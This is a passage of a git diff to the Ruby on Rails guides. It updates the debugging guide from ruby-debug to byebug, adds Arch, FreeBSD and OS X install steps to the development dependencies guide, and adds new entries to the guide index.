-(rdb:7) help -ruby-debug help v0.10.2 Type 'help <command-name>' for help on a specific command Available commands: -backtrace delete enable help next quit show trace -break disable eval info p reload source undisplay -catch display exit irb pp restart step up -condition down finish list ps save thread var -continue edit frame method putl set tmate where +backtrace delete enable help list pry next restart source up +break disable eval info method ps save step var +catch display exit interrupt next putl set thread +condition down finish irb p quit show trace +continue edit frame kill pp reload skip undisplay ``` -TIP: To view the help menu for any command use `help <command-name>` at the debugger prompt. For example: _`help var`_ - -The next command to learn is one of the most useful: `list`. You can abbreviate any debugging command by supplying just enough letters to distinguish them from other commands, so you can also use `l` for the `list` command. +TIP: To view the help menu for any command use `help <command-name>` at the +debugger prompt. For example: _`help list`_. You can abbreviate any debugging +command by supplying just enough letters to distinguish them from other +commands, so you can also use `l` for the `list` command, for example. -This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by `=>`. +To see the previous ten lines you should type `list-` (or `l-`) ``` -(rdb:7) list +(byebug) l- + [1, 10] in /PathTo/project/app/controllers/posts_controller.rb 1 class PostsController < ApplicationController - 2 # GET /posts - 3 # GET /posts.json - 4 def index - 5 debugger -=> 6 @posts = Post.all - 7 - 8 respond_to do |format| - 9 format.html # index.html.erb - 10 format.json { render :json => @posts } -``` + 2 before_action :set_post, only: [:show, :edit, :update, :destroy] + 3 + 4 # GET /posts + 5 # GET /posts.json + 6 def index + 7 byebug + 8 @posts = Post.find_recent + 9 + 10 respond_to do |format| -If you repeat the `list` command, this time using just `l`, the next ten lines of the file will be printed out. - -``` -(rdb:7) l -[11, 20] in /PathTo/project/app/controllers/posts_controller.rb - 11 end - 12 end - 13 - 14 # GET /posts/1 - 15 # GET /posts/1.json - 16 def show - 17 @post = Post.find(params[:id]) - 18 - 19 respond_to do |format| - 20 format.html # show.html.erb ``` -And so on until the end of the current file. When the end of file is reached, the `list` command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer. +This way you can move inside the file, being able to see the code above and over +the line where you added the `byebug` call. Finally, to see where you are in +the code again you can type `list=` -On the other hand, to see the previous ten lines you should type `list-` (or `l-`) - -``` -(rdb:7) l- -[1, 10] in /PathTo/project/app/controllers/posts_controller.rb - 1 class PostsController < ApplicationController - 2 # GET /posts - 3 # GET /posts.json - 4 def index - 5 debugger - 6 @posts = Post.all - 7 - 8 respond_to do |format| - 9 format.html # index.html.erb - 10 format.json { render :json => @posts } ``` +(byebug) list= -This way you can move inside the file, being able to see the code above and over the line you added the `debugger`. -Finally, to see where you are in the code again you can type `list=` +[3, 12] in /PathTo/project/app/controllers/posts_controller.rb + 3: + 4: # GET /posts + 5: # GET /posts.json + 6: def index + 7: byebug +=> 8: @posts = Post.find_recent + 9: + 10: respond_to do |format| + 11: format.html # index.html.erb + 12: format.json { render json: @posts } -``` -(rdb:7) list= -[1, 10] in /PathTo/project/app/controllers/posts_controller.rb - 1 class PostsController < ApplicationController - 2 # GET /posts - 3 # GET /posts.json - 4 def index - 5 debugger -=> 6 @posts = Post.all - 7 - 8 respond_to do |format| - 9 format.html # index.html.erb - 10 format.json { render :json => @posts } +(byebug) ``` ### The Context -When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack. - -The debugger creates a context when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped. - -At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer. - -``` -(rdb:5) where - #0 PostsController.index - at line /PathTo/project/app/controllers/posts_controller.rb:6 - #1 Kernel.send - at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175 - #2 ActionController::Base.perform_action_without_filters - at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175 - #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...) - at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617 +When you start debugging your application, you will be placed in different +contexts as you go through the different parts of the stack. + +The debugger creates a context when a stopping point or an event is reached. The +context has information about the suspended program which enables the debugger +to inspect the frame stack, evaluate variables from the perspective of the +debugged program, and contains information about the place where the debugged +program is stopped. + +At any time you can call the `backtrace` command (or its alias `where`) to print +the backtrace of the application. This can be very helpful to know how you got +where you are. If you ever wondered about how you got somewhere in your code, +then `backtrace` will supply the answer. + +``` +(byebug) where +--> #0 PostsController.index + at /PathTo/project/test_app/app/controllers/posts_controller.rb:8 + #1 ActionController::ImplicitRender.send_action(method#String, *args#Array) + at /PathToGems/actionpack-4.1.0/lib/action_controller/metal/implicit_render.rb:4 + #2 AbstractController::Base.process_action(action#NilClass, *args#Array) + at /PathToGems/actionpack-4.1.0/lib/abstract_controller/base.rb:189 + #3 ActionController::Rendering.process_action(action#NilClass, *args#NilClass) + at /PathToGems/actionpack-4.1.0/lib/action_controller/metal/rendering.rb:10 ... ``` -You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number. +The current frame is marked with `-->`. You can move anywhere you want in this +trace (thus changing the context) by using the `frame _n_` command, where _n_ is +the specified frame number. If you do that, `byebug` will display your new +context. ``` -(rdb:5) frame 2 -#2 ActionController::Base.perform_action_without_filters - at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175 +(byebug) frame 2 + +[184, 193] in /PathToGems/actionpack-4.1.0/lib/abstract_controller/base.rb + 184: # is the intended way to override action dispatching. + 185: # + 186: # Notice that the first argument is the method to be dispatched + 187: # which is *not* necessarily the same as the action name. + 188: def process_action(method_name, *args) +=> 189: send_action(method_name, *args) + 190: end + 191: + 192: # Actually call the method associated with the action. Override + 193: # this method if you wish to change how action methods are called, + +(byebug) ``` -The available variables are the same as if you were running the code line by line. After all, that's what debugging is. +The available variables are the same as if you were running the code line by +line. After all, that's what debugging is. -Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames. +You can also use `up [n]` (`u` for abbreviated) and `down [n]` commands in order +to change the context _n_ frames up or down the stack respectively. _n_ defaults +to one. Up in this case is towards higher-numbered stack frames, and down is +towards lower-numbered stack frames. ### Threads -The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options: +The debugger can list, stop, resume and switch between running threads by using +the `thread` command (or the abbreviated `th`). This command has a handful of +options: * `thread` shows the current thread. -* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution. +* `thread list` is used to list all threads and their statuses. The plus + +character and the number indicates the current thread of execution. * `thread stop _n_` stop thread _n_. * `thread resume _n_` resumes thread _n_. * `thread switch _n_` switches the current thread context to _n_. -This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code. +This command is very helpful, among other occasions, when you are debugging +concurrent threads and need to verify that there are no race conditions in your +code. ### Inspecting Variables -Any expression can be evaluated in the current context. To evaluate an expression, just type it! - -This example shows how you can print the instance_variables defined within the current context: - -``` -@posts = Post.all -(rdb:11) instance_variables -["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"] -``` - -As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide). - -``` -(rdb:11) next -Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET] - Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e - Parameters: {"action"=>"index", "controller"=>"posts"} -/PathToProject/posts_controller.rb:8 -respond_to do |format| +Any expression can be evaluated in the current context. To evaluate an +expression, just type it! + +This example shows how you can print the instance variables defined within the +current context: + +``` +[3, 12] in /PathTo/project/app/controllers/posts_controller.rb + 3: + 4: # GET /posts + 5: # GET /posts.json + 6: def index + 7: byebug +=> 8: @posts = Post.find_recent + 9: + 10: respond_to do |format| + 11: format.html # index.html.erb + 12: format.json { render json: @posts } + +(byebug) instance_variables +[:@_action_has_layout, :@_routes, :@_headers, :@_status, :@_request, + :@_response, :@_env, :@_prefixes, :@_lookup_context, :@_action_name, + :@_response_body, :@marked_for_same_origin_verification, :@_config] +``` + +As you may have figured out, all of the variables that you can access from a +controller are displayed. This list is dynamically updated as you execute code. +For example, run the next line using `next` (you'll learn more about this +command later in this guide). + +``` +(byebug) next +[5, 14] in /PathTo/project/app/controllers/posts_controller.rb + 5 # GET /posts.json + 6 def index + 7 byebug + 8 @posts = Post.find_recent + 9 +=> 10 respond_to do |format| + 11 format.html # index.html.erb + 12 format.json { render json: @posts } + 13 end + 14 end + 15 +(byebug) ``` And then ask again for the instance_variables: ``` -(rdb:11) instance_variables.include? "@posts" +(byebug) instance_variables.include? "@posts" true ``` -Now `@posts` is included in the instance variables, because the line defining it was executed. +Now `@posts` is included in the instance variables, because the line defining it +was executed. -TIP: You can also step into **irb** mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature. +TIP: You can also step into **irb** mode with the command `irb` (of course!). +This way an irb session will be started within the context you invoked it. But +be warned: this is an experimental feature. -The `var` method is the most convenient way to show variables and their values: +The `var` method is the most convenient way to show variables and their values. +Let's let `byebug` to help us with it. ``` -var -(rdb:1) v[ar] const <object> show constants of object -(rdb:1) v[ar] g[lobal] show global variables -(rdb:1) v[ar] i[nstance] <object> show instance variables of object -(rdb:1) v[ar] l[ocal] show local variables +(byebug) help var +v[ar] cl[ass] show class variables of self +v[ar] const <object> show constants of object +v[ar] g[lobal] show global variables +v[ar] i[nstance] <object> show instance variables of object +v[ar] l[ocal] show local variables ``` -This is a great way to inspect the values of the current context variables. For example: +This is a great way to inspect the values of the current context variables. For +example, to check that we have no local variables currently defined. ``` -(rdb:9) var local - __dbg_verbose_save => false +(byebug) var local +(byebug) ``` You can also inspect for an object method this way: ``` -(rdb:9) var instance Post.new -@attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"... +(byebug) var instance Post.new +@_start_transaction_state = {} +@aggregation_cache = {} +@association_cache = {} +@attributes = {"id"=>nil, "created_at"=>nil, "updated_at"=>nil} @attributes_cache = {} -@new_record = true +@changed_attributes = nil +... ``` -TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console. +TIP: The commands `p` (print) and `pp` (pretty print) can be used to evaluate +Ruby expressions and display the value of variables to the console. -You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on. +You can use also `display` to start watching variables. This is a good way of +tracking the values of a variable while the execution goes on. ``` -(rdb:1) display @recent_comments -1: @recent_comments = +(byebug) display @posts +1: @posts = nil ``` -The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example). +The variables inside the displaying list will be printed with their values after +you move in the stack. To stop displaying a variable use `undisplay _n_` where +_n_ is the variable number (1 in the last example). ### Step by Step -Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution. +Now you should know where you are in the running trace and be able to print the +available variables. But lets continue and move on with the application +execution. -Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to the debugger. +Use `step` (abbreviated `s`) to continue running your program until the next +logical stopping point and return control to the debugger. -TIP: You can also use `step+ n` and `step- n` to move forward or backward `n` steps respectively. +You may also use `next` which is similar to step, but function or method calls +that appear within the line of code are executed without stopping. -You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps. +TIP: You can also use `step n` or `next n` to move forwards `n` steps at once. -The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods. +The difference between `next` and `step` is that `step` stops at the next line +of code executed, doing just a single step, while `next` moves to the next line +without descending inside methods. -For example, consider this block of code with an included `debugger` statement: +For example, consider the following situation: ```ruby -class Author < ActiveRecord::Base - has_one :editorial - has_many :comments +Started GET "/" for 127.0.0.1 at 2014-04-11 13:39:23 +0200 +Processing by PostsController#index as HTML - def find_recent_comments(limit = 10) - debugger - @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit) - end -end +[1, 8] in /home/davidr/Proyectos/test_app/app/models/post.rb + 1: class Post < ActiveRecord::Base + 2: + 3: def self.find_recent(limit = 10) + 4: byebug +=> 5: where('created_at > ?', 1.week.ago).limit(limit) + 6: end + 7: + 8: end + +(byebug) ``` -TIP: You can use the debugger while using `rails console`. Just remember to `require "debugger"` before calling the `debugger` method. +If we use `next`, we want go deep inside method calls. Instead, byebug will go +to the next line within the same context. In this case, this is the last line of +the method, so `byebug` will jump to next next line of the previous frame. ``` -$ rails console -Loading development environment (Rails 4.0.0) ->> require "debugger" -=> [] ->> author = Author.first -=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10"> ->> author.find_recent_comments -/PathTo/project/app/models/author.rb:11 -) -``` +(byebug) next +Next went up a frame because previous frame finished -With the code stopped, take a look around: +[4, 13] in /PathTo/project/test_app/app/controllers/posts_controller.rb + 4: # GET /posts + 5: # GET /posts.json + 6: def index + 7: @posts = Post.find_recent + 8: +=> 9: respond_to do |format| + 10: format.html # index.html.erb + 11: format.json { render json: @posts } + 12: end + 13: end -``` -(rdb:1) list -[2, 9] in /PathTo/project/app/models/author.rb - 2 has_one :editorial - 3 has_many :comments - 4 - 5 def find_recent_comments(limit = 10) - 6 debugger -=> 7 @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit) - 8 end - 9 end +(byebug) ``` -You are at the end of the line, but... was this line executed? You can inspect the instance variables. +If we use `step` in the same situation, we will literally go the next ruby +instruction to be executed. In this case, the activesupport's `week` method. ``` -(rdb:1) var instance -@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las... -@attributes_cache = {} -``` +(byebug) step -`@recent_comments` hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the `next` command to move on in the code: +[50, 59] in /PathToGems/activesupport-4.1.0/lib/active_support/core_ext/numeric/time.rb + 50: ActiveSupport::Duration.new(self * 24.hours, [[:days, self]]) + 51: end + 52: alias :day :days + 53: + 54: def weeks +=> 55: ActiveSupport::Duration.new(self * 7.days, [[:days, self * 7]]) + 56: end + 57: alias :week :weeks + 58: + 59: def fortnights -``` -(rdb:1) next -/PathTo/project/app/models/author.rb:12 -@recent_comments -(rdb:1) var instance -@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las... -@attributes_cache = {} -@comments = [] -@recent_comments = [] +(byebug) ``` -Now you can see that the `@comments` relationship was loaded and @recent_comments defined because the line was executed. - -If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails. +This is one of the best ways to find bugs in your code, or perhaps in Ruby on +Rails. ### Breakpoints -A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line. +A breakpoint makes your application stop whenever a certain point in the program +is reached. The debugger shell is invoked in that line. -You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually: +You can add breakpoints dynamically with the command `break` (or just `b`). +There are 3 possible ways of adding breakpoints manually: * `break line`: set breakpoint in the _line_ in the current source file. -* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger. -* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line. +* `break file:line [if expression]`: set breakpoint in the _line_ number inside +the _file_. If an _expression_ is given it must evaluated to _true_ to fire up +the debugger. +* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and +\# for class and instance method respectively) defined in _class_. The +_expression_ works the same way as with file:line. + + +For example, in the previous situation ``` -(rdb:5) break 10 -Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10 +[4, 13] in /PathTo/project/app/controllers/posts_controller.rb + 4: # GET /posts + 5: # GET /posts.json + 6: def index + 7: @posts = Post.find_recent + 8: +=> 9: respond_to do |format| + 10: format.html # index.html.erb + 11: format.json { render json: @posts } + 12: end + 13: end + +(byebug) break 11 +Created breakpoint 1 at /PathTo/project/app/controllers/posts_controller.rb:11 + ``` -Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints. +Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you +supply a number, it lists that breakpoint. Otherwise it lists all breakpoints. ``` -(rdb:5) info breakpoints +(byebug) info breakpoints Num Enb What - 1 y at filters.rb:10 +1 y at /PathTo/project/app/controllers/posts_controller.rb:11 ``` -To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active.. +To delete breakpoints: use the command `delete _n_` to remove the breakpoint +number _n_. If no number is specified, it deletes all breakpoints that are +currently active. ``` -(rdb:5) delete 1 -(rdb:5) info breakpoints +(byebug) delete 1 +(byebug) info breakpoints No breakpoints. ``` You can also enable or disable breakpoints: -* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint. +* `enable breakpoints`: allow a _breakpoints_ list or all of them if no list is +specified, to stop your program. This is the default state when you create a +breakpoint. * `disable breakpoints`: the _breakpoints_ will have no effect on your program. ### Catching Exceptions -The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it. +The command `catch exception-name` (or just `cat exception-name`) can be used to +intercept an exception of type _exception-name_ when there would otherwise be no +handler for it. To list all active catchpoints use `catch`. ### Resuming Execution -There are two ways to resume execution of an application that is stopped in the debugger: - -* `continue` [line-specification] \(or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached. -* `finish` [frame-number] \(or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns. +There are two ways to resume execution of an application that is stopped in the +debugger: + +* `continue` [line-specification] \(or `c`): resume program execution, at the +address where your script last stopped; any breakpoints set at that address are +bypassed. The optional argument line-specification allows you to specify a line +number to set a one-time breakpoint which is deleted when that breakpoint is +reached. +* `finish` [frame-number] \(or `fin`): execute until the selected stack frame +returns. If no frame number is given, the application will run until the +currently selected frame returns. The currently selected frame starts out the +most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been +performed. If a frame number is given it will run until the specified frame +returns. ### Editing Two commands allow you to open code from the debugger into an editor: -* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given. -* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified. +* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR +environment variable. A specific _line_ can also be given. ### Quitting -To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`. +To exit the debugger, use the `quit` command (abbreviated `q`), or its alias +`exit`. -A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again. +A simple quit tries to terminate all threads in effect. Therefore your server +will be stopped and you will have to start it again. ### Settings -The `debugger` gem can automatically show the code you're stepping through and reload it when you change it in an editor. Here are a few of the available options: +`byebug` has a few available options to tweak its behaviour: -* `set reload`: Reload source code when changed. -* `set autolist`: Execute `list` command on every breakpoint. -* `set listsize _n_`: Set number of source lines to list by default to _n_. -* `set forcestep`: Make sure the `next` and `step` commands always move to a new line +* `set autoreload`: Reload source code when changed (default: true). +* `set autolist`: Execute `list` command on every breakpoint (default: true). +* `set listsize _n_`: Set number of source lines to list by default to _n_ +(default: 10) +* `set forcestep`: Make sure the `next` and `step` commands always move to a new +line. -You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular `set` command. +You can see the full list by using `help set`. Use `help set _subcommand_` to +learn about a particular `set` command. -TIP: You can save these settings in an `.rdebugrc` file in your home directory. The debugger reads these global settings when it starts. - -Here's a good start for an `.rdebugrc`: +TIP: You can save these settings in an `.byebugrc` file in your home directory. +The debugger reads these global settings when it starts. For example: ```bash -set autolist set forcestep set listsize 25 ``` @@ -640,33 +801,59 @@ set listsize 25 Debugging Memory Leaks ---------------------- -A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level. +A Ruby application (on Rails or not), can leak memory - either in the Ruby code +or at the C code level. -In this section, you will learn how to find and fix such leaks by using tool such as Valgrind. +In this section, you will learn how to find and fix such leaks by using tool +such as Valgrind. ### Valgrind -[Valgrind](http://valgrind.org/) is a Linux-only application for detecting C-based memory leaks and race conditions. +[Valgrind](http://valgrind.org/) is a Linux-only application for detecting +C-based memory leaks and race conditions. -There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates. +There are Valgrind tools that can automatically detect many memory management +and threading bugs, and profile your programs in detail. For example, if a C +extension in the interpreter calls `malloc()` but doesn't properly call +`free()`, this memory won't be available until the app terminates. -For further information on how to install Valgrind and use with Ruby, refer to [Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) by Evan Weaver. +For further information on how to install Valgrind and use with Ruby, refer to +[Valgrind and Ruby](http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/) +by Evan Weaver. Plugins for Debugging --------------------- -There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging: - -* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has footnotes that give request information and link back to your source via TextMate. -* [Query Trace](https://github.com/ntalbott/query_trace/tree/master) Adds query origin tracing to your logs. -* [Query Reviewer](https://github.com/nesquena/query_reviewer) This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed. -* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master) Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application. +There are some Rails plugins to help you to find errors and debug your +application. Here is a list of useful plugins for debugging: + +* [Footnotes](https://github.com/josevalim/rails-footnotes) Every Rails page has +footnotes that give request information and link back to your source via +TextMate. +* [Query Trace](https://github.com/ntalbott/query_trace/tree/master) Adds query +origin tracing to your logs. +* [Query Reviewer](https://github.com/nesquena/query_reviewer) This rails plugin +not only runs "EXPLAIN" before each of your select queries in development, but +provides a small DIV in the rendered output of each page with the summary of +warnings for each query that it analyzed. +* [Exception Notifier](https://github.com/smartinez87/exception_notification/tree/master) +Provides a mailer object and a default set of templates for sending email +notifications when errors occur in a Rails application. +* [Better Errors](https://github.com/charliesome/better_errors) Replaces the +standard Rails error page with a new one containing more contextual information, +like source code and variable inspection. +* [RailsPanel](https://github.com/dejan/rails_panel) Chrome extension for Rails +development that will end your tailing of development.log. Have all information +about your Rails app requests in the browser - in the Developer Tools panel. +Provides insight to db/rendering/total times, parameter list, rendered views and +more. References ---------- * [ruby-debug Homepage](http://bashdb.sourceforge.net/ruby-debug/home-page.html) * [debugger Homepage](https://github.com/cldwalker/debugger) +* [byebug Homepage](https://github.com/deivid-rodriguez/byebug) * [Article: Debugging a Rails application with ruby-debug](http://www.sitepoint.com/debug-rails-app-ruby-debug/) * [Ryan Bates' debugging ruby (revised) screencast](http://railscasts.com/episodes/54-debugging-ruby-revised) * [Ryan Bates' stack trace screencast](http://railscasts.com/episodes/24-the-stack-trace) diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md index 5647a4c1b7..b0e070120d 100644 --- a/guides/source/development_dependencies_install.md +++ b/guides/source/development_dependencies_install.md @@ -57,9 +57,24 @@ If you are on Fedora or CentOS, you can run $ sudo yum install libxml2 libxml2-devel libxslt libxslt-devel ``` +If you are running Arch Linux, you're done with: + +```bash +$ sudo pacman -S libxml2 libxslt +``` + +On FreeBSD, you just have to run: + +```bash +# pkg_add -r libxml2 libxslt +``` + +Alternatively, you can install the `textproc/libxml2` and `textproc/libxslt` +ports. + If you have any problems with these libraries, you can install them manually by compiling the source code. Just follow the instructions at the [Red Hat/CentOS section of the Nokogiri tutorials](http://nokogiri.org/tutorials/installing_nokogiri.html#red_hat__centos) . -Also, SQLite3 and its development files for the `sqlite3-ruby` gem — in Ubuntu you're done with just +Also, SQLite3 and its development files for the `sqlite3-ruby` gem - in Ubuntu you're done with just ```bash $ sudo apt-get install sqlite3 libsqlite3-dev @@ -71,6 +86,20 @@ And if you are on Fedora or CentOS, you're done with $ sudo yum install sqlite3 sqlite3-devel ``` +If you are on Arch Linux, you will need to run: + +```bash +$ sudo pacman -S sqlite +``` + +For FreeBSD users, you're done with: + +```bash +# pkg_add -r sqlite3 +``` + +Or compile the `databases/sqlite3` port. + Get a recent version of [Bundler](http://gembundler.com/) ```bash @@ -84,7 +113,29 @@ and run: $ bundle install --without db ``` -This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. With dependencies installed, you can run the test suite with: +This command will install all dependencies except the MySQL and PostgreSQL Ruby drivers. We will come back to these soon. + +NOTE: If you would like to run the tests that use memcached, you need to ensure that you have it installed and running. + +You can use [Homebrew](http://brew.sh/) to install memcached on OSX: + +```bash +$ brew install memcached +``` + +On Ubuntu you can install it with apt-get: + +```bash +$ sudo apt-get install memcached +``` + +Or use yum on Fedora or CentOS: + +```bash +$ sudo yum install memcached +``` + +With the dependencies now installed, you can run the test suite with: ```bash $ bundle exec rake test @@ -104,13 +155,20 @@ $ cd railties $ TEST_DIR=generators bundle exec rake test ``` -You can run any single test separately too: +You can run the tests for a particular file by using: ```bash $ cd actionpack $ bundle exec ruby -Itest test/template/form_helper_test.rb ``` +Or, you can run a single test in a particular file: + +```bash +$ cd actionpack +$ bundle exec ruby -Itest path/to/test.rb -n test_name +``` + ### Active Record Setup The test suite of Active Record attempts to run four times: once for SQLite3, once for each of the two MySQL gems (`mysql` and `mysql2`), and once for PostgreSQL. We are going to see now how to set up the environment for them. @@ -137,6 +195,33 @@ $ sudo yum install mysql-server mysql-devel $ sudo yum install postgresql-server postgresql-devel ``` +If you are running Arch Linux, MySQL isn't supported anymore so you will need to +use MariaDB instead (see [this announcement](https://www.archlinux.org/news/mariadb-replaces-mysql-in-repositories/)): + +```bash +$ sudo pacman -S mariadb libmariadbclient mariadb-clients +$ sudo pacman -S postgresql postgresql-libs +``` + +FreeBSD users will have to run the following: + +```bash +# pkg_add -r mysql56-client mysql56-server +# pkg_add -r postgresql92-client postgresql92-server +``` + +You can use [Homebrew](http://brew.sh/) to install MySQL and PostgreSQL on OSX: + +```bash +$ brew install mysql +$ brew install postgresql +``` +Follow instructions given by [Homebrew](http://brew.sh/) to start these. + +Or install them through ports (they are located under the `databases` folder). +If you run into troubles during the installation of MySQL, please see +[the MySQL documentation](http://dev.mysql.com/doc/refman/5.1/en/freebsd-installation.html). + After that, run: ```bash @@ -156,6 +241,8 @@ mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.* to 'rails'@'localhost'; mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.* to 'rails'@'localhost'; +mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.* + to 'rails'@'localhost'; ``` and create the test databases: @@ -166,10 +253,15 @@ $ bundle exec rake mysql:build_databases ``` PostgreSQL's authentication works differently. A simple way to set up the development environment for example is to run with your development account +This is not needed when installed via [Homebrew](http://brew.sh). ```bash $ sudo -u postgres createuser --superuser $USER ``` +And for OS X (when installed via [Homebrew](http://brew.sh)) +```bash +$ createuser --superuser $USER +``` and then create the test databases with @@ -196,4 +288,4 @@ NOTE: Using the rake task to create the test databases ensures they have the cor NOTE: You'll see the following warning (or localized warning) during activating HStore extension in PostgreSQL 9.1.x or earlier: "WARNING: => is deprecated as an operator". -If you’re using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails. +If you're using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine if you must, but obviously you should not push any such changes back to Rails. diff --git a/guides/source/documents.yaml b/guides/source/documents.yaml index 1b16f4e516..a160c462b2 100644 --- a/guides/source/documents.yaml +++ b/guides/source/documents.yaml @@ -117,7 +117,7 @@ name: The Rails Initialization Process work_in_progress: true url: initialization.html - description: This guide explains the internals of the Rails initialization process as of Rails 3.1 + description: This guide explains the internals of the Rails initialization process as of Rails 4 - name: Extending Rails documents: @@ -150,6 +150,13 @@ url: ruby_on_rails_guides_guidelines.html description: This guide documents the Ruby on Rails guides guidelines. - + name: Maintenance Policy + documents: + - + name: Maintenance Policy + url: maintenance_policy.html + description: What versions of Ruby on Rails are currently supported, and when to expect new versions. +- name: Release Notes documents: - @@ -158,6 +165,10 @@ work_in_progress: true description: This guide helps in upgrading applications to latest Ruby on Rails versions. - + name: Ruby on Rails 4.1 Release Notes + url: 4_1_release_notes.html + description: Release notes for Rails 4.1. + - name: Ruby on Rails 4.0 Release Notes url: 4_0_release_notes.html description: Release notes for Rails 4.0. diff --git a/guides/source/engines.md b/guides/source/engines.md index bc66ed256e..8f9ba0995f 100644 --- 